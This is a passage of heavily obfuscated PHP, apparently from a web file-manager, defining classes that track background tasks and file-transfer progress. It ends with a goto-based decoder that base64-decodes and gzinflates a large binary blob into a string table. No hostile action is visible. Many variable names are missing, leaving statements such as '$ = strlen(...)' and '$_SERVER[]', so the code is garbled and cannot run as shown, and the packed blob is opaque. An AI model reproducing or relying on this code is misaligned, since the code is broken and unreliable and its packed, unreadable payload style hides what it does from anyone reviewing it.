!1, !1, !1, !1, 10); if ($樱[$̹[746]]) { $ = strlen($樱[$̹[1198]]); } break; case $̹[229]: $ = Hook::apply($ى[$̹[1651]]); default: break; } Model($̹[1652])->add(array($̹[1653] => $̹[12], $̹[1654] => $̹[198], $̹[33] => $̹[1655] . $ى[$̹[399]], $̹[1656] => json_encode(array($̹[32] => $ى[$̹[32]], $̹[1657] => timeFloat() - $, $̹[293] => $)))); $Î = $ ? $̹[1658] . $ : $̹[12]; self::log($̹[1659] . $ى[$̹[399]] . $̹[164] . $Î); return !0; } private static function valueGet($՚) { $ٔ =& $_SERVER[]; $鄞 = $ٔ[1660]; $ư = Model($ٔ[435])->get($՚, $鄞); if (is_null($ư)) { Model($ٔ[435])->set($ٔ[746], $ٔ[88], $鄞); Model($ٔ[435])->set($ٔ[1622], $ٔ[198], $鄞); $ư = Model($ٔ[435])->get($՚, $鄞); } return $ư; } private static function valueSet($ڕ×, $) { $ =& $_SERVER[]; $ = $[1661]; CacheLock::lock($); $ĥ = Model($[435])->set($ڕ×, $, $[1660]); CacheLock::unlock($); return $ĥ; } protected static function log($㪰) { write_log($㪰, $_SERVER[][1647]); } private static function cacheClear() { $® =& $_SERVER[]; Cache::clearMemory(Model($®[435])->cacheKey($®[1660])); Cache::clearMemory(Model($®[435])->cacheKey($®[1662])); Model($®[1632])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\157\160"; const STATYS_RUNNING = "\162\x75\x6e\156\x69\x6e\147"; const STATYS_KILL = "\153\151\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ؚ = '', $ = 0, $ = '') { $뻁 =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($뻁[399] => $, $뻁[1663] => USER_ID, $뻁[1561] => $, $뻁[453] => $뻁[12], $뻁[33] => $ؚ, $뻁[1060] => $뻁[12], $뻁[783] => $, $뻁[1664] => 0, $뻁[1665] => 0, $뻁[1666] => 0, $뻁[1667] => timeFloat(), $뻁[1668] => 0, $뻁[1669] => 0, $뻁[1670] => 0, $뻁[1671] => 0, $뻁[746] => $뻁[1622]); $GLOBALS[$뻁[1672]] = 1; Hook::bind($뻁[1627], array($this, $뻁[1673])); Hook::bind($뻁[1674], array($this, $뻁[1675])); $this->startAfter(); Hook::trigger($뻁[1676], $this->task); $this->task[$뻁[1669]] = timeFloat(); } public function end($ = '') { $ָ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ָ[1669]]) { self::valueSet($this->task[$ָ[399]], !1); } $this->isEnd = !0; if ($) { $this->task[$ָ[453]] = $; } self::log($ָ[1677] . $this->task[$ָ[399]] . $ָ[1678] . sprintf($ָ[847], timeFloat() - $this->task[$ָ[1667]]) . $ָ[1679]); Hook::unbind($ָ[1627], array($this, $ָ[1673])); Hook::unbind($ָ[1674], array($this, $ָ[1675])); $this->endAfter(); $䗸 = $this->task; $this->task = !1; Hook::trigger($ָ[1680], $䗸); } public function update($ = 0, $ = false) { $ɭ߰ =& $_SERVER[]; $ރڀ =& $this->task; if (!$ރڀ) { return; } $ރڀ[$ɭ߰[1664]] += $; $ރڀ[$ɭ߰[1668]] = timeFloat(); if ($ރڀ[$ɭ߰[783]]) { if ($ރڀ[$ɭ߰[783]] < $ރڀ[$ɭ߰[1664]]) { $ރڀ[$ɭ߰[783]] = $ރڀ[$ɭ߰[1664]]; } $Ӡ = timeFloat() - $ރڀ[$ɭ߰[1667]] - $ރڀ[$ɭ߰[1670]]; if ($Ӡ <= 0) { $Ӡ = 0.001; } $ރڀ[$ɭ߰[1665]] = $ރڀ[$ɭ߰[1664]] / $ރڀ[$ɭ߰[783]]; $ރڀ[$ɭ߰[1666]] = $ރڀ[$ɭ߰[1664]] / $Ӡ; if ($ރڀ[$ɭ߰[1665]] > 0) { $ރڀ[$ɭ߰[1671]] = $Ӡ * (1 - $ރڀ[$ɭ߰[1665]]) / $ރڀ[$ɭ߰[1665]]; } $ރڀ[$ɭ߰[1671]] = $ރڀ[$ɭ߰[1671]] <= 0 ? 0 : $ރڀ[$ɭ߰[1671]]; } $this->updateAfter(); $獨¥ = 0.2; if (timeFloat() - $ރڀ[$ɭ߰[1669]] < $獨¥ && !$) { return; } $Dz = self::get($ރڀ[$ɭ߰[399]]); $ʲ = $Dz[$ɭ߰[746]]; if ($ʲ == self::STATYS_KILL) { $ = array($ɭ߰[1681] => LNG($ɭ߰[1682]), $ɭ߰[1208] => !1); Cache::set($ɭ߰[1683] . $this->task[$ɭ߰[399]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ʲ == self::STATYS_STOP) { $ = 2; $Dz[$ɭ߰[1670]] += $; self::valueSet($ރڀ[$ɭ߰[399]], $Dz); sleep($); $this->update(); return; } } $ރڀ[$ɭ߰[746]] = $ʲ ? $ʲ : $ރڀ[$ɭ߰[746]]; $ރڀ[$ɭ߰[1670]] = $Dz[$ɭ߰[1670]] ? $Dz[$ɭ߰[1670]] : 0; $ރڀ[$ɭ߰[1669]] = timeFloat(); Hook::trigger($ɭ߰[1684], $ރڀ); self::valueSet($ރڀ[$ɭ߰[399]], $ރڀ); } public function onKillSet($ݠ, $쭳 = array()) { $this->onKillCall = array($ݠ, $쭳); } public function onKill() { $ŭ =& $_SERVER[]; self::log($ŭ[1677] . $this->task[$ŭ[399]] . $ŭ[1685]); Hook::trigger($ŭ[1686], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ծ) { $ =& $_SERVER[]; Cache::set($[1683] . $this->task[$[399]], $ծ, 60); return $ծ; } public static function get($̏) { $ڷ =& $_SERVER[]; $̰ = self::valueGet($̏); if (is_array($̰) && $̰[$ڷ[1687]]) { $금 = ActionApply($̰[$ڷ[1687]], array($̰)); $̰ = is_array($금) ? $금 : $̰; } return $̰; } public static function listData() { $⫚և = self::valueGet(); return array_sort_by($⫚և, $_SERVER[][1667], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $σֽ = self::listData(); foreach ($σֽ as $Ћ) { self::kill($Ћ[$[399]]); } sleep(2); foreach ($σֽ as $Ћ) { self::valueSet($Ћ[$[399]], !1); } } private static function changeStatus($, $) { $̦ =& $_SERVER[]; $骢 = self::valueGet($); if (!$骢) { return !1; } $骢[$̦[746]] = $; self::valueSet($, $骢); self::log($̦[1688] . $骢[$̦[399]] . $̦[1689] . $); return !0; } public static function valueGet($ƀ = false) { $ނ =& $_SERVER[]; if ($ƀ) { $ь = Model($ނ[447])->where(array($ނ[94] => $ƀ, $ނ[33] => $ނ[1067]))->find(); return $ь ? json_decode($ь[$ނ[374]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ٻƎ =& $_SERVER[]; $ = array($ٻƎ[33] => $ٻƎ[1067]); if ($) { $[$ٻƎ[1663]] = $; } $ = Model($ٻƎ[447])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ȁ => $ϣ) { $[$ȁ] = json_decode($ϣ[$ٻƎ[374]], !0); } return $; } public static function valueSet($٨, $խ) { $ =& $_SERVER[]; if (!$խ) { return Model($[447])->where(array($[94] => $٨, $[33] => $[1067]))->delete(); } $Ȭ = json_encode($խ); if (!$Ȭ) { ob_start(); var_dump($խ); $ۘ = ob_get_clean(); self::log($[1690] . json_encode_force($ۘ)); } if (!$٨ || !$խ[$[399]]) { return !1; } $dz = array($[33] => $[1067], $[1663] => USER_ID, $[94] => $٨, $[374] => $Ȭ); $̍ = $[1691]; CacheLock::lock($̍); Model($[447])->add($dz, array(), !0); CacheLock::unlock($̍); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1692]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ʫ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ʫ[1693], array($this, $ʫ[1694])); Hook::bind($ʫ[1219], array($this, $ʫ[1695])); Hook::bind($ʫ[1696], array($this, $ʫ[1697])); Hook::bind($ʫ[596], array($this, $ʫ[1698])); Hook::bind($ʫ[597], array($this, $ʫ[1699])); Hook::bind($ʫ[602], array($this, $ʫ[1700])); Hook::bind($ʫ[603], array($this, $ʫ[1701])); Hook::bind($ʫ[599], array($this, $ʫ[1702])); Hook::bind($ʫ[600], array($this, $ʫ[1703])); Hook::bind($ʫ[565], array($this, $ʫ[1704])); Hook::bind($ʫ[562], array($this, $ʫ[1704])); Hook::bind($ʫ[567], array($this, $ʫ[1704])); Hook::bind($ʫ[569], array($this, $ʫ[1704])); Hook::bind($ʫ[571], array($this, $ʫ[1704])); Hook::bind($ʫ[1705], array($this, $ʫ[1706])); Hook::bind($ʫ[587], array($this, $ʫ[1707])); $this->sourceModelCopyFlag = !1; Hook::bind($ʫ[1708], array($this, $ʫ[1709])); Hook::bind($ʫ[1710], array($this, $ʫ[1711])); Hook::bind($ʫ[1712], array($this, $ʫ[1713])); $[$ʫ[1714]] = LNG($ʫ[1715]); $[$ʫ[1716]] = 0; $[$ʫ[1717]] = 0; $[$ʫ[1060]] = $ʫ[12]; $[$ʫ[1718]] = $ʫ[12]; $[$ʫ[1719]] = 0; $[$ʫ[1720]] = 0; $[$ʫ[1721]] = 0; if (!$[$ʫ[1561]]) { $[$ʫ[1561]] = LNG($ʫ[1722]); } } protected function endAfter() { $ŭ =& $_SERVER[]; Hook::unbind($ŭ[1693], array($this, $ŭ[1694])); Hook::unbind($ŭ[1219], array($this, $ŭ[1695])); Hook::unbind($ŭ[1696], array($this, $ŭ[1697])); Hook::unbind($ŭ[596], array($this, $ŭ[1698])); Hook::unbind($ŭ[597], array($this, $ŭ[1699])); Hook::unbind($ŭ[602], array($this, $ŭ[1700])); Hook::unbind($ŭ[603], array($this, $ŭ[1701])); Hook::unbind($ŭ[599], array($this, $ŭ[1702])); Hook::unbind($ŭ[600], array($this, $ŭ[1703])); Hook::unbind($ŭ[565], array($this, $ŭ[1704])); Hook::unbind($ŭ[562], array($this, $ŭ[1704])); Hook::unbind($ŭ[567], array($this, $ŭ[1704])); Hook::unbind($ŭ[569], array($this, $ŭ[1704])); Hook::unbind($ŭ[571], array($this, $ŭ[1704])); Hook::unbind($ŭ[1705], array($this, $ŭ[1706])); Hook::unbind($ŭ[587], array($this, $ŭ[1707])); Hook::unbind($ŭ[1708], array($this, $ŭ[1709])); Hook::unbind($ŭ[1710], array($this, $ŭ[1711])); Hook::unbind($ŭ[1712], array($this, $ŭ[1713])); } public function copyMoveStart($, $΄҄, $, $з) { $ =& $_SERVER[]; self::log($[1723] . $΄҄ . $[70] . $з); $̒ = rtrim(TEMP_FILES, $[8]); if (substr($΄҄, 0, strlen($̒)) == $̒) { return; } if (substr($з, 0, strlen($̒)) == $̒) { return; } $ᗯ =& $this->task; $ᗯ[$[1724]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $Ԩ =& $_SERVER[]; $٨ =& $this->task; if (!$٨[$Ԩ[760]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($٨[$Ԩ[1724]] == $Ԩ[1308]) { return; } self::updateTask($٨); } private static function updateTask(&$Ŭ) { $هϝ =& $_SERVER[]; if ($Ŭ[$هϝ[1724]] == $هϝ[1190] || $Ŭ[$هϝ[1724]] == $هϝ[107]) { if ($Ŭ[$هϝ[1718]]) { $Ŭ[$هϝ[1721]] = $Ŭ[$هϝ[1720]] + $Ŭ[$هϝ[1717]]; } } else { if ($Ŭ[$هϝ[1724]] == $هϝ[1309]) { if ($Ŭ[$هϝ[1718]] == $هϝ[1190]) { $Ŭ[$هϝ[1721]] = $Ŭ[$هϝ[1720]] + $Ŭ[$هϝ[1717]] * 0.5; } else { if ($Ŭ[$هϝ[1718]] == $هϝ[107]) { $Ŭ[$هϝ[1721]] = $Ŭ[$هϝ[1720]] + $Ŭ[$هϝ[1716]] * 0.5 + $Ŭ[$هϝ[1717]] * 0.5; } } } } $Ŭ[$هϝ[1665]] = $Ŭ[$هϝ[1721]] / $Ŭ[$هϝ[760]]; if ($Ŭ[$هϝ[1665]] > 0) { $۽ = timeFloat() - $Ŭ[$هϝ[1667]] - $Ŭ[$هϝ[1670]]; $Ŭ[$هϝ[1671]] = $۽ * (1 - $Ŭ[$هϝ[1665]]) / $Ŭ[$هϝ[1665]]; } } public function addPath($) { $便 =& $_SERVER[]; if (!$) { return; } $Ɏ۽ =& $this->task; $ = IO::infoWithChildren($); $ = $Ɏ۽[$便[1725]] ? $Ɏ۽[$便[1725]][$便[1726]] : 0; $Ɏ۽[$便[1725]] = array($便[1726] => $ + 1, $便[420] => $[$便[32]], $便[84] => $[$便[84]], $便[509] => $[$便[509]] ? $[$便[509]] : $[$便[84]]); if ($[$便[33]] == $便[200]) { $Ɏ۽[$便[783]] += 1; } else { $Ɏ۽[$便[783]] += $[$便[79]][$便[77]]; if ($[$便[402]]) { $Ɏ۽[$便[783]] += $[$便[79]][$便[78]] + 1; } } $Ɏ۽[$便[760]] += $[$便[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ȳ =& $_SERVER[]; $ =& $this->task; $[$ȳ[1716]] = $[$ȳ[76]]; $[$ȳ[1714]] = $[$ȳ[32]]; $[$ȳ[1060]] = $[$ȳ[32]]; $[$ȳ[1727]] = $[$ȳ[84]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $¦ =& $this->task; $¦[$[1721]] += $[$[76]]; $¦[$[1727]] = $[$[84]]; $this->update(1); } public function copyFileStart($؞, $ϓ, $㏿¶, $, $½, $) { $ =& $_SERVER[]; $ȣ = $½; if ($ȣ == $GLOBALS[$[1728]]) { $ȣ = $GLOBALS[$[1729]]; } $GLOBALS[$[1729]] = $½; $GLOBALS[$[1728]] = $; $Ԑ =& $this->task; $Ԑ[$[1714]] = $ȣ; $Ԑ[$[1716]] = (int) $؞->size($ϓ); $Ԑ[$[1717]] = 0; $Ԑ[$[1060]] = $[12]; $Ԑ[$[1718]] = $[12]; $Ԑ[$[1719]] = 0; $ = $Ԑ[$[1716]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($Ԑ[$[399]] . $[1730]); if ($ && file_exists(get_path_father($))) { Cache::set($Ԑ[$[399]] . $[1730], $); $Ԑ[$[1687]] = array($[1731], $[1732]); } $this->update(0, $); } public static function updateCopyLocalFileSize($咞) { $ѿʍ =& $_SERVER[]; $Ҷʦ = Cache::get($咞[$ѿʍ[399]] . $ѿʍ[1730]); if (!$Ҷʦ || !file_exists($Ҷʦ)) { return $咞; } $咞[$ѿʍ[1717]] = @filesize($Ҷʦ); $咞[$ѿʍ[1721]] += $咞[$ѿʍ[1717]]; self::updateTask($咞); return $咞; } public function copyFileEnd($ճ, $, $憣, $ѯ, $݄ؠ, $) { $ز =& $_SERVER[]; $ =& $this->task; $[$ز[1717]] = $[$ز[1716]]; $[$ز[1718]] = $ز[12]; unset($[$ز[1687]]); if ($݄ؠ == $[$ز[1714]]) { $[$ز[1720]] += $[$ز[1716]]; $[$ز[1721]] = $[$ز[1720]]; $ຮ߰ = 1; if (isset($[$ز[1727]]) && $[$ز[1727]] == $) { $ຮ߰ = 0; } $this->update($ຮ߰); } else { $this->update(); $[$ز[1717]] = 0; } Cache::remove($[$ز[399]] . $ز[1730]); self::log($ز[1733] . $ . $ز[70] . $ѯ . $ز[231] . $݄ؠ . $ز[1734] . $[$ز[1714]]); } public function updateFileEnd($, $) { $ =& $_SERVER[]; $Ư뷿 =& $this->task; $Ư뷿[$[1714]] = $; $Ư뷿[$[1716]] = $; $Ư뷿[$[1720]] += $; $Ư뷿[$[1721]] = $Ư뷿[$[1720]]; $this->update(1); self::log($[1735] . $); } public function sourceModelCopy($) { $ =& $_SERVER[]; $ަ = $[0]; $Ͳ = $[1]; $ݛ =& $this->task; $this->sourceModelCopyFlag = !0; $Ň = 0; switch ($ަ) { case $[563]: $Ň = 1; break; case $[566]: $ݛ[$[1714]] = $Ͳ[$[32]]; break; case $[568]: $Ň = intval($[$[380]] * 0.4); break; case $[570]: $Ň = intval($[$[380]] * 0.2); break; case $[572]: $Ň = intval($[$[380]] * 0.4); break; } $this->update($Ň); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $ҩ) { $ѓ총 =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ശ = 1; if (isset($[$ѓ총[79]])) { $ശ = $[$ѓ총[79]][$ѓ총[77]]; $ശ = $ശ + $[$ѓ총[79]][$ѓ총[78]] + 1; } $this->update($ശ); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($Ԇ, $, $ů, $Ɵ, $ж) { $Ӎ =& $_SERVER[]; $ڴ =& $this->task; if ($ж > 0) { $ڴ[$Ӎ[1060]] = $Ӎ[1736]; $ڴ[$Ӎ[1718]] = $Ӎ[107]; if ($ڴ[$Ӎ[1716]]) { $ڴ[$Ӎ[1717]] = $ж; } if ($ڴ[$Ӎ[1719]]) { $ڴ[$Ӎ[1717]] = $ж + $ڴ[$Ӎ[1719]]; } } else { if ($ů > 0) { if ($ڴ[$Ӎ[1716]] == $) { $ڴ[$Ӎ[1717]] = $ů; $ڴ[$Ӎ[1060]] = $Ӎ[1737]; $ڴ[$Ӎ[1718]] = $Ӎ[1190]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ʺ =& $this->task; $ = curl_getinfo($); $ = $[$[1738]]; if ($ == -1) { $ = $[$[1739]]; } if ($ʺ[$[1718]] == $[107] && $) { $ʺ[$[1719]] += $; } $this->update(); } } goto bխ; Cۏ: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\255\341\240\336\263\326", "\xec\x80\xca\xc2\xdc\xd1"); $_SERVER[] = explode("\x7c\x4\x7c\x5\x7c\x1", gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\xbd\x7\x78\x1c\xd5\xd5\x30\x4c\x4d\x80\x84\x40\x28\x9\x81\x24\xc\xa\xb6\x24\x7b\x8b\x25\x77\xd9\xb2\xbd\x92\x56\xd2\xe2\x95\x56\xec\xae\x5c\x90"."\304\170\166\167\44\215\264\273\263\232\231\125\263\15\4\142\14\66\235\100\200\70\164\102\11\230\336\261\41\4\170\51\301\1\22\102\13\241\270\322\2\44\324\204\300\167\313\271"."\x65\x66\x57\xf0\xfe\xcf\xff\x3d\xcf\xc7\x83\xb5\xb7\xcf\x2d\xe7\x9e\x7b\xce\xb9\xe7\x9c\xbb\xe1\xe1\x1b\x1e\xbf\xe7\xa5\x55\x7b\xad\xda\x7b\xd5\xee\x1f\x5e\x77\xc5\x9a\xd\x8f\xd1\x30\xfa\xbb"."\7\372\107\302\107\256\337\147\67\362\337\301\353\327\125\125\265\316\332\157\152\373\167\317\276\343\46\355\172\355\6\355\364\130\364\251\77\106\366\337\162\343\61\341\35\127\75\65"."\266\143\367\335\346\350\307\246\353\120\141\132\267\216\376\50\171\323\121\364\121\303\166\154\232\220\66\363\275\106\37\15\33\171\372\33\244\77\235\361\250\245\347\114\107\247\321\0".base64_decode('/VF5v9BfeyhrsHy1PZZUE50dHeF4EgrVyfk5MwOhgmZpOfh+Qbds1Bu5ObVgFvS8')."\x2b\x45\x24\x64\x34\x47\x4b\x69\x36\xb4\xd4\xd4\xa0\x36\x85\x3b\xa2\xb1\xe5\x6a\x72\x79\x47\x18\x4a\xa4\xd4\xa1\xa2\x6e\x8d\xd1\x18\x9\x26\x1c\xcd\x72\x92\x46\x4e\xe7\x25\x46\x2c\xde\xaf\x86".base64_decode('cEukXUnGQ+2JUGMyEmunyY2xtrZIsjQ9HotGG0KNi0tzOuKhlraQgvqX1VUj32tW')."\51\53\150\316\12\245\232\6\232\15\75\233\241\301\274\306\272\343\214\25\40\224\344\41\264\114\371\142\66\113\43\355\74\224\321\173\265\142\26\146\253\111\216\24\54\43\247\261".base64_decode('QS/Wx3gqDWhFxzTyaRoJjzqWJtJRX9NoofU8NJUIR8ONSQV3UGmOx9oUWIScZju6').base64_decode('pSxtDcfDCu50fSUZa6UC8NKOpkIJRaPKRC04eq7AmqF1yjQWizeF40rDckXMUNrM').base64_decode('5cx8ALWCVtKRuhqOx2nAB+AdjeBFg0isuTkR5jEY3LFR1JPpAJ+uWKY366jDWrbI')."\300\164\220\376\126\302\17\374\232\66\200\356\220\221\67\212\0\246\320\204\151\362\155\5\201\42\53\255\263\24\75\3\201\34\252\157\302\316\103\333\160\230\6\353\27\320\337\171"."\x50\x28\xa5\xe2\x3c\xdd\x72\x54\x3d\x9f\x36\x33\x46\x1e\x36\xeb\x42\x0\x3a\xcd\xe9\x6f\xb2\xc\x54\x80\xc6\x7b\xcd\x6c\x86\x85\x6d\x63\x1c\x86\xd2\x6b\x64\xf5\xf6\x62\x4e\x2e\xc2\xa3\xe9\x7e".base64_decode('I5ux2P76upI0GuXbFZcVsQLqCd/pRu+Y2G+4XAfPtc2ildYjaH/QeA0k646DBgdz')."\x63\x98\x9d\x85\xac\xa9\x65\x12\xba\xc5\x87\x66\x98\xcd\xa8\xa1\x58\xd1\x91\x13\x8b\xa4\x58\xb3\x69\xe5\x9a\x10\x66\x80\xef\xa3\x5d\x61\x74\x96\xc9\x18\x64\xfb\x22\x23\xcd\x58\xb0\xaa\xeb\xe7"."\xfe\x2f\x7b\xba\x16\xa1\x3f\xd5\x80\xfa\xba\xa1\x4f\xfd\x7a\x36\xab\xea\xa3\x3a\x6c\x9c\x5c\x66\xa6\xcd\x26\x23\x68\xa7\x8c\x7c\x10\xa5\xd0\x68\x24\xa6\xf6\x6b\x76\x7f\x5b\x66\xa6\x4a\x6a\x31".strrev('fO$s0<А+-i^tݮ]jGњ').base64_decode('61CoyadklDZludJaZ9TZrGIuy0NsdDzN5onOKFvOTC8NpNixUAEfNGyC4cT21AqF')."\254\221\326\34\303\314\7\315\264\243\73\176\333\261\164\15\132\14\245\323\272\155\373\33\315\274\143\231\131\177\50\233\65\107\374\61\313\350\63\362\165\312\24\100\266\50\23\155".strrev('`d9gPS庽Kiy^Ԧgp)+SuF?j')."\356\136\235\242\71\216\226\356\307\30\104\64\137\377\65\345\215\174\326\310\353\45\145\303\243\5\303\322\155\326\127\245\245\55\11\215\240\326\165\177\207\245\365\345\264\72\245\120"."\114\241\231\201\235\132\46\215\226\206\251\251\123\322\70\352\123\162\105\333\361\133\72\102\105\6\72\356\140\222\43\275\376\66\274\257\14\75\343\117\40\214\15\311\323\247\315\120"."\20\350\50\54\217\246\266\46\223\35\152\244\31\35\311\355\141\265\55\224\154\154\205\156\73\132\37\353\163\24\341\141\336\44\113\134\346\107\373\13\3\127\73\32\253\110\354\60".base64_decode('R3QLfbhhrE4ZNDMpczTAsnDhBEI0rDBe7oLjj2v5Pjw/qTFHBxC0h/vcEx3V831O').strrev('o,VoV5a}MzΛ>2PGaÊ\\"jㄗ?')."\x18\x96\x17\x8d\xb4\xe0\x89\x69\xf2\xdb\xa8\x90\x5f\x2e\xc5\xda\x8e\x1a\x39\x3\xf7\xdd\xe1\x39\x64\x26\xd1\x49\xdf\x2\x1d\xa\x92\x1\xd5\x77\xdb\x53\xaa\xba\x33\x53\xab\xfd\xe8\xef\x94\xea"."\256\356\246\300\224\236\205\101\103\324\11\326\4\152\224\332\151\263\224\16\104\172\30\132\126\201\101\227\224\230\246\304\26\273\247\105\100\163\336\314\353\137\63\71\370\354\222\266"."\xbd\x67\x5a\x69\x62\x3c\x7c\x6c\x67\x38\x91\x54\xdb\xc2\xc9\xd6\x58\x13\x7c\x3d\x1c\x82\x50\xd4\xa4\xdb\x96\x8d\xb6\x8b\xfe\xf4\xc0\xea\xf6\xd0\x1f\xd5\xb0\x9b\xa5\x63\x5\x47\x39\xfa\x51\xcd"."\324\0\132\214\66\235\341\330\136\212\243\43\71\255\117\102\362\70\25\307\332\114\113\167\247\210\243\152\251\221\341\147\4\212\266\352\106\137\77\314\227\201\133\113\233\131\323\322".base64_decode('shgzsk2hM2zVZwC2AiQsIgkjV2CddfqLuZQUBGzv8JPKRpDEwv0mP9lMC0J1Qagy').strrev('oSAr8MuZrGlPN$ә _:b`ᙶ').strrev(',1Kbj;'."\r".'8Pgǁ՞7EK')."\x84\x8a\x91\x15\x17\xf1\xe\x4b\xef\x35\x60\x93\xe6\xd1\x8a\xb4\x69\xd6\x20\x1b\x3\x5a\x1\x1\x2b\x38\x22\xc1\x51\x73\x67\x34\xaa\x36\xc6\xda\x93\x88\xa4\xa6\x29\x4b\xe3\x91\x64\x98\xc1\x6d"."\xa8\x49\xd\x35\x76\xf0\x83\x57\xac\x28\x14\xc0\x8\xa6\xf4\xf4\xa0\x29\xc3\xb5\xb0\xb2\xa8\x3b\x41\x71\xcc\x21\x8c\x5d\x30\xf3\xb6\xee\x4f\x43\xd\x41\x7a\x97\x64\x65\xc4\x29\x0\x78\x46\x9c"."\34\236\303\140\324\257\345\306\375\71\264\5\374\274\243\356\63\130\111\312\107\171\4\326\106\40\167\74\215\210\53\142\207\177\107\54\1\25\26\342\124\104\200\245\164\13\76\326"."\xd1\x9\x59\x39\x9\x2e\x5a\xc2\x90\xb8\x1f\x3b\xcf\x35\x20\xab\x42\x4b\x13\xc\x31\x17\x51\x79\xcb\x18\xd7\xc4\x90\x16\xb2\xfe\xb0\x81\xe4\xb2\x82\x9e\x73\x8f\xca\x2f\x66\x3e\xd9\x1a\x69\x5f"."\254\266\305\232\302\121\65\322\216\60\123\262\64\275\263\243\51\304\226\122\116\157\210\45\133\135\251\235\10\67\55\11\105\43\336\342\341\145\221\104\62\121\66\13\245\165\206\75"."\71\210\21\354\210\207\233\43\313\170\264\71\22\216\66\45\324\306\120\143\253\50\323\36\152\203\210\332\213\131\61\73\350\56\257\42\44\233\340\14\235\72\214\231\123\66\131\252"."\213\207\122\31\167\240\12\30\102\207\251\16\220\6\303\305\54\61\31\11\60\304\151\263\310\216\0\116\110\346\30\146\310\151\260\211\64\166\120\126\321\237\152\45\224\120\234\202"."\312\161\100\152\214\7\311\60\130\34\221\214\360\175\5\20\176\111\17\124\134\246\101\357\345\170\270\174\102\250\327\341\350\336\23\107\300\57\362\320\12\204\10\357\215\40\201\254"."\10\174\306\100\133\311\162\102\254\73\275\202\357\125\143\35\341\170\10\163\315\352\322\170\254\275\5\52\214\364\353\254\3\21\230\376\52\106\134\1\363\354\10\64\204\50\43\215"."\x71\x51\x62\xd2\x7\x4c\x36\x95\xab\xe8\xcf\x64\xfa\x83\x88\x42\xf8\xb8\x9e\x67\xb3\x9e\xc2\x18\x99\x9d\x2e\x2c\xd0\x8b\x76\x3\xc3\xa6\x66\x91\x7f\x2d\x65\x9a\x59\xb6\x4f\x11\x7d\xc0\x11\x6"."\147\276\7\154\6\44\243\14\325\114\145\7\24\234\12\311\330\342\160\273\312\40\213\306\44\150\244\11\210\235\215\305\141\102\34\163\220\361\144\64\63\36\116\260\135\156\351\103"."\x45\x83\x4d\x57\x30\x30\x15\xa0\x58\x47\x7\xf\x7c\x3e\x78\x7c\xf7\xc8\xd4\xaa\x2e\xff\xd4\x40\xf\xa\x54\x4f\x59\x44\xa3\x10\xeb\xe\xb8\xa2\x47\x43\xfd\xa2\xc5\x6b\x63\xb2\xa9\xca\x5e\x58".strrev('Ԝ/w@YYHT@\\45'."\n".'-V]')."\x7c\xc2\x8a\x45\x5d\xdd\x3d\x95\x75\x53\x8f\xea\xe\xfc\xac\x7b\xa4\x67\x4a\xf5\x42\xf6\x9d\x74\xd1\x42\xfc\x66\x7a\x8c\x77\x35\x33\xb5\xa\x75\x9\x91\x53\xbc\x48\x9e\xa0\x3c\xa9\x0\xcb\x18"."\67\12\42\165\345\254\325\54\35\255\241\336\47\152\164\371\273\247\366\54\224\352\111\111\336\157\41\162\11\341\337\176\136\56\344\77\16\217\214\127\305\373\36\340\243\230\117\13"."\354\211\367\105\112\113\3\36\60\372\362\174\13\241\223\234\363\351\156\52\176\345\44\372\273\232\55\144\237\76\312\120\103\276\327\260\0\72\213\171\143\210\211\41\362\372\20\4"."\x4c\x87\xc1\x77\x4a\x77\x46\x74\x6\x1e\x28\xdd\x15\x47\xc0\xc1\x58\x47\x94\x25\xc5\xb2\x84\x30\x84\x2f\x60\x86\x8a\xc3\x28\x7\x26\xa3\xa0\x62\xa\x6b\x84\xc7\x32\x7a\x1e\xd6\x69\x5f\x28\x6d".strrev('[B+pH~Q44;"lV 